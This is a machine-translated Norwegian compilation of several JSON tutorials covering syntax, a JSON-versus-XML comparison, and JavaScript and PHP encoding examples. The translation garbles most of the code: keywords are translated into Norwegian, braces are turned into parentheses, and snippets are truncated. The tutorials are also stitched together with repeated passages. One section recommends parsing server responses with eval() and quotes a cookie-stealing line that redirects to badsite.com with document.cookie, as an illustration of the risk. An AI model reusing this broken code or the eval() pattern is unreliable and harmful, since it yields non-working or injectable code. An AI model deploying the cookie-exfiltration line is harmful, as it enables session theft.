Hva er json-format. Det grunnleggende om å jobbe med JSON. Arbeide med en JSON-streng i JavaScript

Json(JavaScript Object Notation) er et enkelt datautvekslingsformat som er enkelt å lese og skrive av både mennesker og datamaskiner. Den er basert på et undersett av JavaScript-programmeringsspråket definert i ECMA-262 3rd Edition – desember 1999-standarden. JSON er et tekstformat helt uavhengig av implementeringsspråket, men det bruker konvensjoner som er kjent for programmerere av C-lignende språk som C, C ++, C #, Java, JavaScript, Perl, Python og mange andre. Disse egenskapene gjør JSON til et ideelt datautvekslingsspråk.

JSON er basert på to datastrukturer:

  • En samling nøkkel-/verdipar. På forskjellige språk er dette konseptet implementert som en gjenstand, post, struktur, ordbok, hash, navngitt liste eller assosiativ matrise.
  • En ordnet liste over verdier. På de fleste språk er dette implementert som array, vektor, liste eller sekvens.

Dette er generiske datastrukturer. Nesten alle moderne programmeringsspråk støtter dem i en eller annen form. Det er logisk å anta at et programmeringsspråkuavhengig dataformat bør være basert på disse strukturene.

I JSON-notasjon ser det slik ut:

En gjenstand- et uordnet sett med nøkkel-/verdipar. Objektet starter med (åpnende krøllete klammeparentes og slutter med) lukkende krøllete klammeparentes. Hvert navn er etterfulgt av: kolon, nøkkel / verdi-par er atskilt, komma.

Array- en ordnet samling av verdier. Matrisen starter med [åpnende hakeparentes og slutter med] lukkende firkantparentes. Verdier er atskilt med komma.


Betydning kan være streng i doble anførselstegn, Nummer, sant, usant, null, gjenstand eller array... Disse strukturene kan nestes.


Linje- en samling av null eller flere Unicode-tegn, omsluttet av doble anførselstegn, med \ omvendt skråstrek som escape-tegnet. Tegnet er representert som en streng med ett tegn. Lignende syntaks brukes i C og Java.


Nummer er representert på samme måte som i C eller Java, bortsett fra at desimalsystemet kun brukes.


Mellomrom kan brukes mellom alle tokens.

Bortsett fra noen kodingsdetaljer, beskriver det ovenfor språket fullstendig.


  • Oversettelse

Merk: Nedenfor er en oversettelse av JSON vs XML-oversiktsartikkelen om JSON og hvordan den sammenlignes med XML på en rekke kriterier. Publisert for å popularisere JSON blant Habrahabr-lesere.

JSON (engelsk JavaScript Object Notation) er et datautvekslingsformat, lett lesbart av mennesker, enkelt behandlet og generert av programmer.

Basert på et undersett av JavaScript-språket, Standard ECMA-262 3rd Edition – desember 1999.


JSON – Wikipedia

Hva er det riktige formatet for å svare på XMLHttpRequest i AJAX-applikasjoner? For de fleste markup-baserte applikasjoner er svaret enkelt - (X) HTML. For datadrevne applikasjoner vil valget stå mellom XML og JSON. Inntil nylig lurte jeg egentlig ikke på hva som er bedre å bruke, XML eller JSON. Jeg antok bare at det i hvert tilfelle er verdt å velge det mest passende formatet, og det er det. Men nylig hadde jeg en sjanse til å teste denne tilnærmingen i praksis. I dette innlegget vil jeg beskrive kriteriene som jeg gjorde en sammenligning mellom XML og JSON etter, og mine egne konklusjoner.

Så kriteriene er som følger.

  • Lesbarhet av koden.
  • Enkelt å lage et dataobjekt på serversiden.
  • Enkel å behandle data på klientsiden.
  • Enkel utvidelse.
  • Feilsøking og feilretting.
  • Sikkerhet.

Kode lesbarhet

Person person = ny Person (); person.setFirstName ( "Subbu"); person.setLastName ( "Allamaraju"); writer.write (JSONObject.fromObject (person) .toString ());

Når du ser på hvordan disse API-ene fungerer, er det ikke mye forskjellig å lage JSON fra å serialisere Java-bønner til objekter. Det er imidlertid verdt å merke seg at det nå er mange flere måter å generere XML på enn JSON er kjent. Noen av disse XML APIene har eksistert i mange år og kan derfor være mer stabile når de brukes til komplekse applikasjoner.

Et annet aspekt som er verdt å vurdere er mengden ressurser som brukes til å generere responsen. Hvis "tunge" operasjoner allerede utføres når du mottar data, vil det ikke være vanskelig for serversiden å i tillegg transformere dem til XML for et svar. Hvis å lage XML vil være den mest ressurskrevende operasjonen, er det bedre å bruke JSON.

Brukervennlighet

På klientsiden er det ekstremt enkelt å håndtere JSON-data som et svar på XMLHttpRequest.

Var person = eval (xhr.responseText); varsel (person.fornavn);

Ved å bruke normal eval (), kan du konvertere svaret til et JavaScript-objekt. Når denne operasjonen er fullført, kan du få tilgang til dataene ved å bruke egenskapene til det transformerte objektet. Dette er den mest elegante delen av all JSON.

La oss nå se på XML. For å gjøre kodebiten nedenfor mer gjennomsiktig, har jeg fjernet all feilkontroll.

"fornavn"); varsel (elementer [ 0] .firstChild.textContent);

Når du behandler dataene mottatt fra serveren, må du åpenbart krysse hele DOM-treet. Dette er en svært tidkrevende operasjon og utsatt for feil. Dessverre er det DOM vi må forholde oss til i nettleseren. Nettlesere støtter ikke et spørringsspråk som XPath for å hente trenoder i et XML-dokument. Støtte for disse funksjonene er allerede relatert til XSLT, men det er ganske begrenset ( merk: i nettleseren) når det gjelder konvertering av XML til markup (som HTML). Arbeidsgruppe for webprogrammeringsgrensesnitt ( Web API arbeidsgruppe) fra W3C jobber med et velgergrensesnitt ( Selectors API), som kan brukes til å bruke CSS-velgere når du velger noder fra dokumentobjektet. Ved å bruke et slikt grensesnitt vil det være mulig å konvertere kodeeksemplet ovenfor til xml.match ("person.firstName") for å få firstName-elementet. For ikke å si at dette er et stort fremskritt for XML-dokumentet i dette eksemplet, men det kan være nyttig for å jobbe med svært forgrenede dokumenter. Dette grensesnittet er ennå ikke komplett, og det vil ta år før nettlesere vil støtte det.

Generelt, hvis jeg velger mellom XML og JSON, vil jeg foretrekke JSON på grunn av det enkle å implementere prosessering på klientsiden.

Utvidbarhet

Utvidbarhet bidrar til å redusere antall forbindelser mellom leverandøren og mottakeren av dataene. I sammenheng med AJAX-applikasjoner må skriptet på klientsiden være tilstrekkelig invariant med hensyn til kompatible endringer i dataene.

Det er en vanlig oppfatning at XML automatisk kan utvides bare ved tilstedeværelsen av bokstaven "X". Men dette er ikke en absolutt regel (dvs. standard). XML-utvidbarhet er basert på prinsippet om at du kan definere flere noder i XML-en din og deretter bruke regelen "hopp over unødvendig" (det vil si at hvis du støter på et ukjent element eller attributt mens du behandler XML, er det bare å hoppe over det).

For å dra full nytte av utvidbarheten, må du skrive kode på klientsiden med denne utvidbarheten i tankene. For eksempel vil følgende eksempel falle fra hverandre hvis du ønsker å sette inn for eksempel et middleName-element.

Var xml = xhr.responseXML; var elements = xml.getElementsByTagName ( "fornavn"); var fornavnEl = elementer [ 0]; var lastNameEl = fornavnEl.nextSibling;

Hvis du setter inn et element umiddelbart etter elementet , i dette eksemplet vil mellomnavnet feiltolkes som et etternavn. For å være invariant med hensyn til denne endringen, må du skrive om koden for å eksplisitt motta et element , eller få tilgang til nextSibling bare hvis en etterkommer med ønsket tagName er funnet. Dermed er XML utvidbar så lenge du skriver koden din med fremtidig utvidbarhet i tankene. Alt er ekstremt enkelt.

La oss gå tilbake til JSON. Jeg argumenterer for at utvidelse av JSON-data er enklere enn XML. Dette krever unektelig mindre innsats. La oss se på å legge til en middleName-egenskap til JSON-svaret. For å få tilgang til den, trenger du bare å ringe den.

Alert (person.mellomnavn);

Denne koden ikke endres hvis du legger til et mellomnavn i svaret ditt. Men hva skal jeg gjøre i tilfelle behandling av en person med eller uten mellomnavn? Det er enkelt med JSON.

hvis(person.mellomnavn) ( // Behandling }

Min posisjon er at når det gjelder mulig fremtidig utvidbarhet, kan både XML, JSON-data være utvidbare. Men JSON er lettere å utvide data enn XML. Du trenger bare å sjekke at den nødvendige egenskapen finnes på objektet og handle i samsvar med resultatet av kontrollen.

En annen mulighet for å utvide JSON-data er å bruke funksjonskall sammen med datadeklarasjoner rett i svaret.

Varsling ( "Hei - jeg" er en person "); ({"fornavn" : "Subbu", "etternavn" : "Allamaraju"});

Når data er deklarert via eval (), vil nettleseren også ringe varsling (). I dette tilfellet kan du både laste inn data og utføre funksjoner. Denne tilnærmingen bør brukes med stor forsiktighet, fordi den forsøpler responsen med funksjonsanrop og skaper en sammenheng mellom samtaler og data. Noen kilder diskuterer også de potensielle sikkerhetssårbarhetene ved denne tilnærmingen, mer om dette litt nedenfor.

Feilsøking og feilrettinger

Dette aspektet gjelder både serversiden av applikasjonen og klientsiden. På serveren må du sørge for at dataene er godt utformet og korrekte. På klientsiden skal det være enkelt å feilsøke feil i svaret.

Ved XML er det relativt enkelt å verifisere at dataene som sendes til klienten er velutformet og korrekt. Du kan bruke skjema for dataene dine og bruke det for å validere dataene. Med JSON blir dette en manuell oppgave og krever at man sjekker at objektet har de riktige attributtene som følge av responsen.

På klientsiden er det i begge tilfeller vanskelig å oppdage feil. For XML vil nettleseren ganske enkelt ikke kunne konvertere den til responseXML. For små mengder JSON-data kan du bruke FireBug-utvidelsen til å feilsøke og fikse feil. Men med store datamengder blir det noe vanskelig å relatere feilmeldingen til et bestemt sted i koden.

Sikkerhet

Dave Johnson antyder i sitt notat om JSON and the Golden Fleece at JSON kan forårsake sikkerhetsproblemer. Poenget med notatet koker ned til det faktum at hvis du tillater innsetting av funksjonskall sammen med data i JSON-svar og bruker eval () for å behandle svaret, så utfører du ved å gjøre det faktisk vilkårlig kode, som kan allerede inneholder en sikkerhetsrisiko.

Window.location = "http://badsite.com?"+ document.cookie; person: ( "fornavn" : "Subbu", "etternavn" : "Allamaraju" }

Hvis svaret i eksemplet ovenfor lykkes, vil det føre til at nettleseren sender tilpassede informasjonskapsler til tredjepartssiden. Men i dette tilfellet er det en viss forvirring når det gjelder å definere en sikkerhetstrussel. Ikke stol på data eller kode som kommer fra en ubekreftet kilde. Og for det andre vil vi ikke kunne bruke XMLHttpRequest til å kommunisere med andre domener enn skriptkildedomenet. Så, bare utviklerne selv, når de oppretter en applikasjon, kan starte sendingen av informasjonskapsler til en tredjepartsside. Dette er ganske tvilsomt, fordi de like godt kan plassere denne ondsinnede koden hvor som helst i dokumentet utenfor datasvaret fra serveren. Det kan hende jeg mangler noe, men jeg ser ingen vits i å behandle JSON som usikker sammenlignet med XML.

Mitt valg

For datadrevne applikasjoner foretrekker jeg å bruke JSON fremfor XML på grunn av sin enkelhet og lette behandling på klientsiden. XML kan være uunnværlig på serveren, men JSON er definitivt enklere å jobbe med på klienten.

Du har sikkert hørt om JSON en gang. Hva er det? Hva kan han gjøre og hvordan kan han bruke det?

I denne opplæringen vil vi dekke det grunnleggende om JSON og dekke følgende punkter:

  • Hva er JSON?
  • Hva brukes JSON til?
  • Hvordan lager jeg en JSON-streng?
  • Et enkelt eksempel på en JSON-streng.
  • La oss sammenligne JSON og XML.
  • Hvordan jobbe med JSON i JavaScript og PHP?

Hva er JSON?

JSON er en enkel tekstbasert måte å lagre og overføre strukturerte data på. Med enkel syntaks kan du enkelt lagre alt fra et enkelt tall til strenger, matriser og objekter i ren tekst. Du kan også koble arrays og objekter sammen for å lage komplekse datastrukturer.

Når en JSON-streng er opprettet, er det enkelt å sende den til et annet program eller andre steder på nettet fordi det er ren tekst.

JSON har følgende fordeler:

  • Den er kompakt.
  • Setningene hans er enkle å lese og komponere av både mennesker og datamaskiner.
  • Det er enkelt å konvertere det til en datastruktur for de fleste programmeringsspråk (tall, strenger, booleaner, arrays, etc.)
  • Mange programmeringsspråk har funksjoner og biblioteker for å lese og lage JSON-strukturer.

JSON står for JavaScript Object Notation. Som navnet antyder, er det basert på måten objekter er definert på (omtrent som å lage assosiative arrays på andre språk) og arrays.

Hva brukes JSON til?

Den vanligste bruken av JSON er å sende data fra server til nettleser. Vanligvis leveres JSON-data ved hjelp av AJAX, som lar nettleseren og serveren kommunisere uten å måtte laste inn siden på nytt.

  1. Brukeren klikker på et produktminiatyrbilde i nettbutikken.
  2. JavaScript som kjører på nettleseren genererer en AJAX-forespørsel til PHP-skriptet som kjører på serveren, og sender inn valgt produkt-ID.
  3. PHP-skriptet henter produktnavn, beskrivelse, pris og annen informasjon fra databasen. Den kompilerer deretter en JSON-streng fra dataene og sender den til nettleseren.
  4. JavaScript som kjører i nettleseren mottar en JSON-streng, dekoder den og viser produktinformasjonen på siden for brukeren.

Du kan også bruke JSON til å sende data fra nettleseren til serveren ved å sende en JSON-streng som en parameter til GET- eller POST-forespørsler. Denne metoden er imidlertid mindre vanlig, ettersom å sende data gjennom AJAX-forespørsler kan forenkles. For eksempel kan produkt-ID-en inkluderes i URL-en som en del av GET-forespørselen.

jQuery-biblioteket har flere metoder, for eksempel getJSON () og parseJSON (), som gjør det enkelt å hente data ved hjelp av JSON gjennom AJAX-forespørsler.

Hvordan lager jeg en JSON-streng?

Det er noen grunnleggende regler for å lage en JSON-streng:

  • JSON-strengen inneholder enten en matrise med verdier eller et objekt (en assosiativ matrise av navn/verdipar).
  • Array er omsluttet av hakeparenteser ([og]) og inneholder en kommadelt liste over verdier.
  • En gjenstand er omsluttet av krøllete klammeparenteser ((og)) og inneholder en kommadelt liste over navn/verdi-par.
  • Navn/verdipar består av feltnavnet, omsluttet av doble anførselstegn, etterfulgt av et kolon (:) og feltverdien.
  • Betydning i en matrise eller et objekt kan være:
    • Tall (heltall eller flyttall)
    • String (i doble anførselstegn)
    • Boolsk verdi (sann eller usann)
    • En annen matrise (omsluttet av firkantede parenteser)
    • En annen gjenstand (omsluttet av krøllete seler)
    • Nullverdi

For å inkludere doble anførselstegn i en streng, må du bruke en omvendt skråstrek: \ ". Som med mange programmeringsspråk kan du sette kontrolltegn og heksadesimale koder i en streng, innledet av en omvendt skråstrek. Se JSON-siden for detaljer.

Enkelt JSON-strengeksempel

Nedenfor er et eksempel på bestilling i JSON-format:

("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-postbeskyttet]"," innhold ": [(" produkt-ID ": 34," produktnavn ":" Superprodukt "," mengde ": 1), (" produkt-ID ": 56," produktnavn ":" Wonder produkt "," mengde ": 3)], "ordreCompleted": sant)

Vurder linjen i detalj:

  • Vi lager et objekt ved hjelp av krøllete bukseseler ((og)).
  • Objektet har flere navn/verdipar: "orderID": 12345 Egenskap kalt "orderId" og heltallsverdi 12345 "shopperName": "Vanya Ivanov" egenskap kalt "shopperName" og strengverdi "Vanya Ivanov" "shopperEmail": " [e-postbeskyttet]"Eiendom med navn" shopperE-post "og strengverdi" [e-postbeskyttet]"" innhold ": [...] En egenskap med navn" innhold "hvis verdi er en matrise" orderCompleted ": true En egenskap som heter" orderCompleted "med en boolsk verdi på true
  • "Innholds"-matrisen inneholder 2 objekter som representerer de enkelte elementene i bestillingen. Hvert objekt inneholder 3 egenskaper: produkt-ID, produktnavn og antall.

Forresten, siden JSON er basert på å deklarere JavaScript-objekter, kan du raskt og enkelt gjøre JSON-strengen ovenfor til et JavaScript-objekt:

Sammenligning av JSON og XML

På mange måter kan du tenke på JSON som et alternativ til XML, i det minste for nettapplikasjoner. Konseptet med AJAX var opprinnelig basert på bruk av XML for å overføre data mellom serveren og nettleseren. Men de siste årene har JSON blitt mer og mer populært for transport av AJAX-data.

Mens XML er en velprøvd teknologi som brukes i et stort antall applikasjoner, har JSON fordelen av å være et mindre, lettere å lese dataformat.

Slik vil eksempelobjektet ovenfor i XML se ut:

orderID 12345 shopperName Ваня Иванов shopperEmail [email protected] contents productID 34 productName Супер товар quantity 1 productID 56 productName Чудо товар quantity 3 ordre fullført ekte

XML-versjonen er betydelig større. Den er faktisk 1128 tegn lang, mens JSON-varianten bare er 323 tegn lang. XML-versjonen er også ganske vanskelig å lese.

Selvfølgelig er dette et radikalt eksempel. Og det er mulig å lage en mer kompakt XML-post. Men selv den vil være betydelig lengre enn JSON-ekvivalenten.

Arbeide med en JSON-streng i JavaScript

JSON har et enkelt format, men det er kjedelig å lage en JSON-streng for hånd. I tillegg må du ofte ta en JSON-streng, konvertere innholdet til en variabel som kan brukes i koden.

De fleste programmeringsspråk har verktøy for enkelt å konvertere variabler til JSON-strenger og omvendt.

Lag en JSON-streng fra en variabel

JavaScript har en innebygd JSON.stringify ()-metode som tar en variabel og returnerer en JSON-streng som representerer innholdet. La oss for eksempel lage et JavaScript-objekt som inneholder ordreinformasjonen fra eksempelet vårt, og deretter lage en JSON-streng fra det:

Denne koden vil gi:

Merk at JSON.stringify ()-metoden returnerer en JSON-streng uten mellomrom. Den er vanskeligere å lese, men mer kompakt for overføring over et nettverk.

Det er flere måter å analysere en JSON-streng i JavaScript, men den sikreste og mest pålitelige er å bruke den innebygde JSON.parse ()-metoden. Den mottar en JSON-streng og returnerer et JavaScript-objekt eller en matrise som inneholder dataene. For eksempel:

Vi har laget en jsonString-variabel som inneholder JSON-strengen for eksempelbestillingen vår. Vi sender deretter den strengen til JSON.parse ()-metoden, som lager et objekt som inneholder JSON-dataene og lagrer det i handlekurvvariabelen. Alt som gjenstår er å validere ved å skrive ut egenskapene til shopperEmail-objektet og produktnavnet i innholdsmatrisen.

Som et resultat får vi følgende utgang:

I en ekte applikasjon vil JavaScript-koden motta ordren som en JSON-streng i AJAX-svaret fra serverskriptet, sende strengen til JSON.parse ()-metoden, og deretter bruke dataene til å vise på brukerens side.

JSON.stringify () og JSON.parse () har andre muligheter, for eksempel å bruke tilbakeringingsfunksjoner for å tilpasse konvertere spesifikke data. Disse alternativene er veldig nyttige for å konvertere forskjellige data til gyldige JavaScript-objekter.

Arbeide med en JSON-streng i PHP

PHP, som JavaScript, har innebygde funksjoner for arbeid med JSON-strenger.

Lag JSON-streng fra PHP-variabel

Funksjonen json_encode () tar en PHP-variabel og returnerer en JSON-streng som representerer innholdet i variabelen. Her er vårt eksempel på en ordre skrevet i PHP:

12345, "shopperName" => "Vanya Ivanov", "shopperEmail" => " [e-postbeskyttet]"," innhold "=> matrise (matrise (" produkt-ID "=> 34," produktnavn "=>" Superprodukt "," mengde "=> 1), matrise (" produkt-ID "=> 56," produktnavn "=> "Wonder product", "quantity" => 3)), "orderCompleted" => true); echo json_encode ($ cart);?>

Denne koden returnerer nøyaktig samme JSON-streng som i JavaScript-eksemplet:

("orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-postbeskyttet]"," innhold ": [(" produkt-ID ": 34," produktnavn ":" Superprodukt "," mengde ": 1), (" produkt-ID ": 56," produktnavn ":" Wonder produkt "," mengde ": 3)], "ordreCompleted": true)

I en ekte applikasjon vil PHP-skriptet ditt sende denne JSON-strengen som en del av AJAX-svaret til nettleseren, der JavaScript-koden bruker JSON.parse ()-metoden for å konvertere den tilbake til en variabel for visning på brukersiden.

Du kan sende forskjellige flagg som det andre argumentet til funksjonen json_encode (). Med deres hjelp kan du endre prinsippene for koding av innholdet i variabler til en JSON-streng.

Lag en variabel fra en JSON-streng

Metoden json_decode () brukes til å konvertere en JSON-streng til en PHP-variabel. La oss erstatte JavaScript-eksemplet vårt med JSON.parse ()-metoden med PHP-kode:

shopperE-post. "
"; echo $ handlekurv-> innhold-> produktnavn."
"; ?>

Når det gjelder JavaScript, vil denne koden produsere:

[e-postbeskyttet] Mirakel produkt

Som standard returnerer funksjonen json_decode () JSON-objekter som PHP-objekter. Det er generiske PHP-objekter av stdClass-klassen. Derfor bruker vi -> for å få tilgang til egenskapene til objektet i eksemplet ovenfor.

Hvis du vil ha et JSON-objekt som en tilknyttet PHP-matrise, må du sende true som det andre argumentet til funksjonen json_decode (). For eksempel:

$ cart = json_decode ($ jsonString, true); echo $ handlekurv ["shopperEmail"]. "
"; echo $ handlekurv [" innhold "] [" produktnavn "]."
";

Denne koden vil gi samme utgang:

[e-postbeskyttet] Mirakel produkt

Du kan også sende andre argumenter til json_decode () for å spesifisere rekursjonsdybden og hvordan du håndterer store heltall.

Konklusjon

Selv om JSON er lett å forstå og bruke, er det et veldig nyttig og fleksibelt verktøy for å overføre data mellom applikasjoner og datamaskiner, spesielt når du bruker AJAX. Hvis du planlegger å utvikle en AJAX-applikasjon, er det ingen tvil om at JSON vil bli det viktigste verktøyet i verkstedet ditt.

Hva er JSON og hva er det i stand til? I denne artikkelen vil du lære hvordan du bruker JSON for å enkelt jobbe med data. Vi skal også se på hvordan man jobber med JSON ved hjelp av PHP og JavaScript.

Hvis du har utviklet nettsteder eller nettapplikasjoner generelt, er sjansen stor for at du har hørt om JSON, i det minste i forbifarten. Men hva betyr egentlig JSON? Hva kan dette dataformatet gjøre og hvordan bruker jeg det?

I denne artikkelen vil vi lære det grunnleggende om å jobbe med json-formatet. Vi vil følge følgende emner:

  • Hva er JSON-format?
  • Hvordan lager jeg JSON-strenger?
  • Et enkelt eksempel på JSON-data
  • Sammenligner JSON med XML

La oss begynne!

Hva er JSON-format?

JSON er en enkel tekstbasert måte å lagre og overføre strukturerte data på. Ved hjelp av enkel syntaks kan du enkelt lagre både enkle tall og strenger, så vel som matriser, objekter, uten å bruke mer enn tekst. Du kan også binde objekter og matriser, som lar deg lage komplekse datastrukturer.

Etter å ha opprettet en JSON-streng, kan du enkelt sende den til et hvilket som helst program eller datamaskin, siden det bare er tekst.

JSON har mange fordeler:

  • Den er kompakt
  • Den er lesbar for mennesker og lett å lese av en datamaskin.
  • Det kan enkelt konverteres til programmatiske formater: numeriske verdier, strenger, boolsk format, nullverdi, matriser og assosiative matriser.
  • Nesten alle programmeringsspråk har funksjoner for å lese og lage json-dataformat.

Bokstavelig talt står forkortelsen JSON for JavaScript Object Notation. Som beskrevet tidligere er dette formatet basert på objektskaping, noe som ligner på assosiative arrays i andre programmeringsspråk.

Hva brukes JSON til?

Mest av alt brukes json til å utveksle data mellom javascript og serversiden (php). Med andre ord, for ajax-teknologi. Dette er veldig nyttig når du sender flere variabler eller hele matriser med data.

Slik ser det ut med et eksempel:

  1. Bruker klikker på miniatyrbilder
  2. JavaScript håndterer denne hendelsen og sender en ajax-forespørsel til PHP-skriptet og sender bilde-ID-en.
  3. På serveren mottar php beskrivelsen av bildet, navnet på bildet, adressen til det store bildet og annen informasjon fra databasen. Etter å ha mottatt den, konverterer den til JSON-format og sender den tilbake til brukerens side.
  4. JavaScript mottar et JSON-svar, behandler dataene, genererer html-kode og viser et forstørret bilde med beskrivelse og annen informasjon.

Slik forstørres bildet uten å laste inn siden på nytt i nettleseren. Dette er veldig praktisk når vi trenger å motta deler av data, eller overføre en liten mengde informasjon til serveren.

Alles favoritt jQuery, den har getJSON () og parseJSON () funksjoner som hjelper deg med å jobbe med formatet gjennom ajax-forespørsler.

Hvordan lager jeg JSON-strenger?


Nedenfor er de grunnleggende reglene for å lage JSON-strenger:

  • JSON-strengen inneholder både en rekke verdier og et objekt (en assosiativ matrise med navn/verdi-par).
  • Matrisen må pakkes inn i hakeparenteser, [og], kan inneholde en liste med verdier, atskilt med koma.
  • Gjenstander vikle med krøllete armer, (og), inneholder også koma-separerte navn / verdi-par.
  • Navn / verdi-par består av feltnavnet (i doble anførselstegn) etterfulgt av et kolon (:) etterfulgt av verdien til det gitte feltet.
  • Verdiene i en matrise eller et objekt kan være:
    • Numerisk (helt eller desimaltegn)
    • String (innpakket i doble anførselstegn)
    • Boolsk (sant eller usant)
    • Andre arrays (innpakket i firkantede parenteser [og])
    • Andre gjenstander (innpakket i krøllete bue(r))
    • Null

Viktig! Hvis du bruker doble anførselstegn i verdier, unnslipp dem med en omvendt skråstrek: \ ". Du kan også bruke hekskodede tegn, som du gjør i andre programmeringsspråk.

Et enkelt eksempel på JSON-data

Følgende eksempel viser hvordan du kan lagre data i "handlekurven" til en nettbutikk med JSON-format:

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [e-postbeskyttet]"," innhold ": [(" produkt-ID ": 34," produktnavn ":" SuperWidget "," mengde ": 1), (" produkt-ID ": 56," produktnavn ":" WonderWidget "," mengde ": 3) ], "orderCompleted": true)

La oss bryte ned disse dataene bit for bit:

  1. I begynnelsen og på slutten bruker vi krøllete bue(r), som gjør det klart at dette er en gjenstand.
  2. Inne i objektet har vi flere navn/verdipar:
  3. "ordreID": 12345- felt kalt ordre-ID og verdi 12345
  4. "shopperName": "John Smith"- feltet kalt shopperName og verdi John Smith
  5. " shopperE-post ":"[e-postbeskyttet] eksempel.no"– i likhet med forrige felt lagres kundens e-post her.
  6. "innhold": [...]- et felt kalt innhold hvis verdi er en matrise.
  7. "ordreCompleted": sant- et felt kalt orderCompleted, hvis verdi er sann
  8. Inne i innholdsmatrisen har vi to objekter som viser innholdet i handlekurven. Hvert produktobjekt har tre egenskaper: produkt-ID, produktnavn, mengde.

Til slutt, siden JSON er identisk med objekter i JavaScript, kan du enkelt ta dette eksemplet og lage et JavaScript-objekt fra det:

Sammenligner JSON med XML

I de fleste tilfeller vil du tenke på JSON som et alternativ til XML - i hvert fall for nettapplikasjoner. Concept of Ajax, bruker opprinnelig XML for å utveksle data mellom server og nettleser, men de siste årene har JSON blitt mer populært for overføring av ajax-data.

Mens XML er en utprøvd teknologi som mange applikasjoner bruker, er fordelen med JSON-formatet at det er mer kompakt og enklere å skrive og lese.

Her er JSON-eksemplet ovenfor, kun skrevet om i XML-format:

orderID 12345 shopperName John Smith shopperEmail [email protected] contents productID 34 productName SuperWidget quantity 1 productID 56 productName WonderWidget quantity 3 ordre fullført ekte

Som du kan se, er den flere ganger lengre enn JSON. Faktisk er dette eksemplet 1128 tegn langt, mens JSON-versjonen bare er 323 tegn langt. Også XML-versjonen er vanskeligere å lese.

Naturligvis kan man ikke dømme etter bare ett eksempel, men selv små mengder informasjon tar mindre plass i JSON-format enn i XML.

Hvordan jobbe med JSON via PHP og JS?

Så vi kommer til den mest interessante delen - den praktiske siden av JSON-formatet. Først, la oss hylle JavaScript, så skal vi se hvordan du kan manipulere JSON gjennom PHP.

Opprette og lese JSON-format ved hjelp av JavaScript


Selv om JSON-formatet er enkelt, er det vanskelig å skrive det for hånd når man utvikler webapplikasjoner. Dessuten er det ofte nødvendig å konvertere JSON-strenger til variabler og deretter bruke dem i koden din.

Heldigvis gir mange programmeringsspråk verktøy for å jobbe med JSON-strenger. Hovedideen som:

OpprettelseJSON-strenger, du starter med variabler som inneholder noen verdier, så sender du dem gjennom en funksjon som gjør dataene om til en JSON-streng.

LesningJSON-strenger, du starter med en JSON-streng som inneholder noen data, sender strengen gjennom en funksjon som lager variabler som inneholder dataene.

La oss ta en titt på hvordan dette gjøres i JavaScript.

Lag en JSON-streng fra en JavaScript-variabel

JavaScript har en innebygd metode, JSON.stringify (), som tar en javascript-variabel og returnerer en json-streng som representerer innholdet i variabelen. La oss for eksempel bruke det tidligere opprettede objektet, konvertere det til en JSON-streng.

Dette er hva som vises:

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [e-postbeskyttet]"," innhold ": [(" produkt-ID ": 34," produktnavn ":" SuperWidget "," mengde ": 1), (" produkt-ID ": 56," produktnavn ":" WonderWidget "," mengde ": 3) ], "orderCompleted": true)

Merk at JSON.stringify () sender ut JSON-strenger uten mellomrom. Vanskelig å lese, men mer kompakt, noe som er viktig ved overføring av data.

Lag en JavaScript-variabel fra en JSON-streng

Det er flere måter å analysere JSON-strenger på, den mest akseptable og sikre er JSON.parse ()-metoden. Den tar en JSON-streng og returnerer et JavaScript-objekt eller en matrise som inneholder JSON-data. Her er et eksempel:

Her har vi laget en variabel, jsonString, som inneholder JSON-strengen fra de tidligere gitte eksemplene. Deretter sendte vi denne strengen gjennom JSON.parse () for å lage et objekt som inneholder JSON-data som er lagret i handlekurvvariabelen. Til slutt sjekker vi for datatilgjengelighet og viser noe informasjon ved å bruke varslingsmodalvinduet.

Følgende informasjon vil vises:

I en ekte nettapplikasjon bør JavaScript-koden din godta en JSON-streng som et svar fra serveren (etter å ha sendt en AJAX-forespørsel), deretter analysere strengen og vise data om innholdet i handlekurven til brukeren.

Opprette og lese JSON-format med PHP

PHP, som JavaScript, har funksjoner som lar deg konvertere variabler til JSON-format, og omvendt. La oss ta en titt på dem.

Genererer JSON-streng fra PHP-variabel

Json_encode () tar en PHP-variabel og returnerer en JSON-streng som representerer variabelens data. Her er vårt eksempel "handlekurv" skrevet i PHP:

12345, "shopperName" => "John Smith", "shopperEmail" => " [e-postbeskyttet]"," innhold "=> matrise (matrise (" produkt-ID "=> 34," produktnavn "=>" SuperWidget "," mengde "=> 1), matrise (" produkt-ID "=> 56," produktnavn "=>" WonderWidget "," mengde "=> 3))," orderCompleted "=> true); echo json_encode ($ cart);?>

Denne koden gir nøyaktig samme resultat som JavaScript-eksemplet - en gyldig JSON-streng som representerer innholdet i variablene:

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [e-postbeskyttet]"," innhold ": [(" produkt-ID ": 34," produktnavn ":" SuperWidget "," mengde ": 1), (" produkt-ID ": 56," produktnavn ":" WonderWidget "," mengde ": 3) ], "orderCompleted": true)

I virkeligheten skal PHP-skriptet ditt sende en JSON-streng som et svar på en AJAX-forespørsel, der JavaScript vil bruke JSON.parse () for å gjøre strengen om til variabler.

I funksjonen json_encode () kan du spesifisere tilleggsparametere som lar deg konvertere noen tegn til hex.

Opprette PHP-variabel fra JSON-streng

I likhet med ovenstående er det en json_decode () funksjon som lar deg dekode JSON-strenger og sette innholdet i variabler.

shopperE-post. "
"; echo $ handlekurv-> innhold-> produktnavn."
"; ?>

Som med JavaScript, vil denne koden sende ut følgende:

[e-postbeskyttet] WonderWidget

Som standard returnerer json_decode () JSON-objekter som PHP-objekter. I likhet med den kjente syntaksen bruker vi -> for å få tilgang til egenskapene til et objekt.

Hvis du i fremtiden vil bruke dataene i form av en assosiativ matrise, sender du bare de andre parameterne til json_decode ()-funksjonen. Her er et eksempel:

$ cart = json_decode ($ jsonString, true); echo $ handlekurv ["shopperEmail"]. "
"; echo $ handlekurv [" innhold "] [" produktnavn "]."
";

Dette gir samme resultat:

[e-postbeskyttet] WonderWidget

Ytterligere argumenter kan også sendes til funksjonen json_decode () for å bestemme behandlingen av store tall og rekursjon.

Avslutningsvis om JSON-format

Hvis du skal lage en nettapplikasjon ved hjelp av Ajax-teknologi, bruk utvilsomt JSON-formatet for å utveksle data mellom serveren og nettleseren.


Attributt-verdi-par. Det er det vanligste dataformatet som brukes for asynkron kommunikasjon mellom nettleser og server, og erstatter i stor grad XML (brukt av AJAX).

